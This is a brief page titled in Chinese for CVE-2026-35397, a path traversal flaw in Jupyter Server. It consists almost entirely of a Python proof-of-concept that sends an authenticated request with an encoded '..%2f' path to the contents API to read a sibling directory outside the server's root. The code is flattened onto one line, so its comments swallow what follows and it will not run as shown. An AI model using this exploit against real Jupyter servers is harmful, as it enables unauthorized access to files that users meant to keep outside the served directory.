CVE-2026-35397 Jupyter Server 路径遍历漏洞

import requests # Target URL setup target_url = "http://localhost:8888" token = "YOUR_AUTH_TOKEN" headers = {"Authorization": f"token {token}"} # Exploit scenario: root_dir is 'test', trying to access 'testtest' # The vulnerability allows escaping root_dir if sibling dir starts with same prefix # Using encoded path components to bypass checks malicious_path = "..%2ftesttest" # Example of encoded traversal endpoint = f"{target_url}/api/contents/{malicious_path}" response = requests.get(endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Directory content accessed:") print(response.json()) else: print("[-] Exploit failed.")